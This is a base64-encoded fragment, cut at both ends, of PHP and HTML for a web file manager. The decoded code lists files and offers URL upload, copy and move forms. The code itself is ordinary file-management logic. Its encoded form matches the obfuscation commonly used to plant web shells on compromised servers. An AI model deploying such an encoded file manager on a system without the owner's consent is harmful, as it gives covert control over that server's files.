IGFycmF5KCk7CiRmaWxlcyA9IGFycmF5KCk7CiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKCIvIiwkcGF0aCksIC0xKVswXTsKaWYgKGlzX2FycmF5KCRvYmplY3RzKSAmJiBmbV9pc19leGNsdWRlX2l0ZW1zKCRjdXJyZW50X3BhdGgpKSB7CiAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgewogICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYgKCFGTV9TSE9XX0hJRERFTiAmJiBzdWJzdHIoJGZpbGUsIDAsIDEpID09PSAnLicpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7CiAgICAgICAgaWYgKEBpc19maWxlKCRuZXdfcGF0aCkgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSkpIHsKICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZTsKICAgICAgICB9IGVsc2VpZiAoQGlzX2RpcigkbmV3X3BhdGgpICYmICRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUpKSB7CiAgICAgICAgICAgICRmb2xkZXJzW10gPSAkZmlsZTsKICAgICAgICB9CiAgICB9Cn0KCmlmICghZW1wdHkoJGZpbGVzKSkgewogICAgbmF0Y2FzZXNvcnQoJGZpbGVzKTsKfQppZiAoIWVtcHR5KCRmb2xkZXJzKSkgewogICAgbmF0Y2FzZXNvcnQoJGZvbGRlcnMpOwp9CgovLyB1cGxvYWQgZm9ybQppZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICAvL2dldCB0aGUgYWxsb3dlZCBmaWxlIGV4dGVuc2lvbnMKICAgIGZ1bmN0aW9uIGdldFVwbG9hZEV4dCgpIHsKICAgICAgICAkZXh0QXJyID0gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pOwogICAgICAgIGlmKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikgewogICAgICAgICAgICBhcnJheV93YWxrKCRleHRBcnIsIGZ1bmN0aW9uKCYkeCkgeyR4ID0gIi4keCI7fSk7CiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcsJywgJGV4dEFycik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAnJzsKICAgIH0KICAgID8+CiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+CiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4KCiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1oZWFkZXIiPgogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFicyI+CiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiNmaWxlVXBsb2FkZXIiIGRhdGEtdGFyZ2V0PSIjZmlsZVVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXAiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VwbG9hZGluZ0ZpbGVzJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIjdXJsVXBsb2FkZXIiIGNsYXNzPSJqcy11cmwtdXBsb2FkIiBkYXRhLXRhcmdldD0iI3VybFVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtbGluayI+PC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkIGZyb20gVVJMJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNhcmQtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyBGTV9QQVRIID8+IiBjbGFzcz0iZmxvYXQtcmlnaHQiPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2siPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKT8+PC9hPgogICAgICAgICAgICAgICAgICAgIDxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0Rlc3RpbmF0aW9uRm9sZGVyJykgPz48L3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PgogICAgICAgICAgICAgICAgPC9wPgoKICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEZNX1NFTEZfVVJMKSAuICc/cD0nIC4gZm1fZW5jKEZNX1BBVEgpID8+IiBjbGFzcz0iZHJvcHpvbmUgY2FyZC10YWJzLWNvbnRhaW5lciIgaWQ9ImZpbGVVcGxvYWRlciIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmdWxscGF0aCIgaWQ9ImZ1bGxwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmYWxsYmFjayI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiBtdWx0aXBsZS8+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXBsb2FkLXVybC13cmFwcGVyIGNhcmQtdGFicy1jb250YWluZXIgaGlkZGVuIiBpZD0idXJsVXBsb2FkZXIiPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPSJqcy1mb3JtLXVybC11cGxvYWQiIGNsYXNzPSJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyIiBvbnN1Ym1pdD0icmV0dXJuIHVwbG9hZF9mcm9tX3VybCh0aGlzKTsiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0idXBsb2FkIiBhcmlhLWxhYmVsPSJoaWRkZW4iIGFyaWEtaGlkZGVuPSJ0cnVlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InVybCIgcGxhY2Vob2xkZXI9IlVSTCIgbmFtZT0idXBsb2FkdXJsIiByZXF1aXJlZCBjbGFzcz0iZm9ybS1jb250cm9sIiBzdHlsZT0id2lkdGg6IDgwJSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkgbXMtMyI+PD9waHAgZWNobyBsbmcoJ1VwbG9hZCcpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imxkcy1mYWNlYm9vayI+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9ImpzLXVybC11cGxvYWRfX2xpc3QiIGNsYXNzPSJjb2wtOSBtdC0zIj48L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWRyb3B6b25lJyk7ID8+CiAgICA8c2NyaXB0PgogICAgICAgIERyb3B6b25lLm9wdGlvbnMuZmlsZVVwbG9hZGVyID0gewogICAgICAgICAgICBjaHVua2luZzogdHJ1ZSwKICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PiwKICAgICAgICAgICAgZm9yY2VDaHVua2luZzogdHJ1ZSwKICAgICAgICAgICAgcmV0cnlDaHVua3M6IHRydWUsCiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsCiAgICAgICAgICAgIHBhcmFsbGVsVXBsb2FkczogMSwKICAgICAgICAgICAgcGFyYWxsZWxDaHVua1VwbG9hZHM6IGZhbHNlLAogICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsCiAgICAgICAgICAgIG1heEZpbGVzaXplOiAiPD9waHAgZWNobyBNQVhfVVBMT0FEX1NJWkU7ID8+IiwKICAgICAgICAgICAgYWNjZXB0ZWRGaWxlcyA6ICI8P3BocCBlY2hvIGdldFVwbG9hZEV4dCgpID8+IiwKICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgdGhpcy5vbigic2VuZGluZyIsIGZ1bmN0aW9uIChmaWxlLCB4aHIsIGZvcm1EYXRhKSB7CiAgICAgICAgICAgICAgICAgICAgbGV0IF9wYXRoID0gKGZpbGUuZnVsbFBhdGgpID8gZmlsZS5mdWxsUGF0aCA6IGZpbGUubmFtZTsKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZnVsbHBhdGgiKS52YWx1ZSA9IF9wYXRoOwogICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KCdFcnJvcjogU2VydmVyIFRpbWVvdXQnKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0pLm9uKCJzdWNjZXNzIiwgZnVuY3Rpb24gKHJlcykgewogICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpOwoKICAgICAgICAgICAgICAgICAgICBpZihfcmVzcG9uc2Uuc3RhdHVzID09ICJlcnJvciIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoX3Jlc3BvbnNlLmluZm8pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pLm9uKCJlcnJvciIsIGZ1bmN0aW9uKGZpbGUsIHJlc3BvbnNlKSB7CiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICA8L3NjcmlwdD4KICAgIDw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gY29weSBmb3JtIFBPU1QKaWYgKGlzc2V0KCRfUE9TVFsnY29weSddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgICRjb3B5X2ZpbGVzID0gaXNzZXQoJF9QT1NUWydmaWxlJ10pID8gJF9QT1NUWydmaWxlJ10gOiBudWxsOwogICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7CiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICA/PgogICAgPGRpdiBjbGFzcz0icGF0aCI+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtaGVhZGVyIj4KICAgICAgICAgICAgICAgIDxoNj48P3BocCBlY2hvIGxuZygnQ29weWluZycpID8+PC9oNj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbmlzaCIgdmFsdWU9IjEiPgogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGNvcHlfZmlsZXMgYXMgJGNmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGVbXSIgdmFsdWU9IicgLiBmbV9lbmMoJGNmKSAuICciPicgLiBQSFBfRU9MOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdGaWxlcycpID8+PC9zdHJvbmc+OiA8Yj48P3BocCBlY2hvIGltcGxvZGUoJzwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjwvYj48L3A+CiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyZWFrLXdvcmQiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ1NvdXJjZUZvbGRlcicpID8+PC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnLycgLiBGTV9QQVRIKSkgPz48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImlucF9jb3B5X3RvIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEZXN0aW5hdGlvbkZvbGRlcicpID8+PC9zdHJvbmc+OjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gRk1fUk9PVF9QQVRIID8+LzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb3B5X3RvIiBpZD0iaW5wX2NvcHlfdG8iIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJjdXN0b20tY2hlY2tib3ggY3VzdG9tLWNvbnRyb2wiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibW92ZSIgdmFsdWU9IjEiIGlkPSJqcy1tb3ZlLWZpbGVzIiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiPjxsYWJlbCBmb3I9ImpzLW1vdmUtZmlsZXMiIGNsYXNzPSJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yIj4gPD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjwvbGFiZWw+PC9wPgogICAgICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1kYW5nZXIiPjxpIGNsYXNzPSJmYSBmYS10aW1lcy1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9hPjwvYj7CoAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48L2J1dHRvbj4gCiAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgovLyBjb3B5IGZvcm0KaWYgKGlzc2V0KCRfR0VUWydjb3B5J10pICYmICFpc3NldCgkX0dFVFsnZmluaXNoJ10pICYmICFGTV9SRUFET05MWSkgewogICAgJGNvcHkgPSAkX0dFVFsnY29weSddOwogICAgJGNvcHkgPSBmbV9jbGVhbl9wYXRoKCRjb3B5KTsKICAgIGlmICgkY29weSA9PSAnJyB8fCAhZmlsZV9leGlzdHMoRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHkpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KCiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAogICAgPz4KICAgIDxkaXYgY2xhc3M9InBhdGgiPgogICAgICAgIDxwPjxiPkNvcHlpbmc8L2I+PC9wPgogICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj4KICAgICAgICAgICAgPHN0cm9uZz5Tb3VyY2UgcGF0aDo8L3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHkpKSA/Pjxicj4KICAgICAgICAgICAgPHN0cm9uZz5EZXN0aW5hdGlvbiBmb2xkZXI6PC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1JPT1RfUEFUSCAuICcvJyAuIEZNX1BBVEgpKSA/PgogICAgICAgIDwvcD4KICAgICAgICA8cD4KICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mY29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mZmluaXNoPTEiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gQ29weTwvYT48L2I+IMKgCiAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmNvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+JmZpbmlzaD0xJm1vdmU9MSI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiBNb3ZlPC9hPjwvYj4gwqAKICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4iIGNsYXNzPSJ0ZXh0LWRhbmdlciI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiBDYW5jZWw8L2E+PC9iPgogICAgICAgIDwvcD4KICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PC9pPjwvcD4KICAgICAgICA8dWwgY2xhc3M9ImZvbGRlcnMgYnJlYWstd29yZCI+CiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIGlmICgkcGFyZW50ICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQiPjwvaT4gLi48L2E+PC9saT4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHsKICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+JmNvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+Ij48aSBjbGFzcz0iZmEgZmEtZm9sZGVyLW8iPjwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbigkZikgPz48L2E+PC9saT4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIH0KICAgICAgICAgICAgPz4KICAgICAgICA8L3VsPgogICAgPC9kaXY+CiAgICA8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCmlmIChpc3NldCgkX0dFVFsnc2V0dGluZ3MnXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAogICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0OwogICAgPz4KCiAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zIj4KICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTIgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPgogICAgICAgICAgICA8aDYgY2xhc3M9ImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlbiI+CiAgICAgICAgICAgICAgICA8c3Bhbj48aSBjbGFzcz0iZmEgZmEtY29nIj48L2k+ICA8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/Pjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PiIgY2xhc3M9InRleHQtZGFuZ2VyIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpPz48L2E+CiAgICAgICAgICAgIDwvaDY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICA8Zm9ybSBpZD0ianMtc2V0dGluZ3MtZm9ybSIgYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZGF0YS10eXBlPSJhamF4IiBvbnN1Ym1pdD0icmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcykiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJzZXR0aW5ncyIgYXJpYS1sYWJlbD0iaGlkZGVuIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJqcy1sYW5ndWFnZSIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnTGFuZ3VhZ2UnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS01Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tc2VsZWN0IiBpZD0ianMtbGFuZ3VhZ2UiIG5hbWU9ImpzLWxhbmd1YWdlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdsb2JhbCAkbGFuZzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICgkbGFuZyA9PSAkbCkgPyAnc2VsZWN0ZWQnIDogJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRsYW5nX2xpc3QgYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nJGsnICIuZ2V0U2VsZWN0ZWQoJGspLiI+JHY8L29wdGlvbj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im10LTMgbWItMyByb3cgIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtZXJyb3ItcmVwb3J0IiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNtLTkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLXN3aXRjaCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0iY2hlY2tib3giIHJvbGU9InN3aXRjaCIgaWQ9ImpzLWVycm9yLXJlcG9ydCIgbmFtZT0ianMtZXJyb3ItcmVwb3J0IiB2YWx1ZT0idHJ1ZSIgPD9waHAgZWNobyAkcmVwb3J0X2Vycm9ycyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLXNob3ctaGlkZGVuIiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdTaG93SGlkZGVuRmlsZXMnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY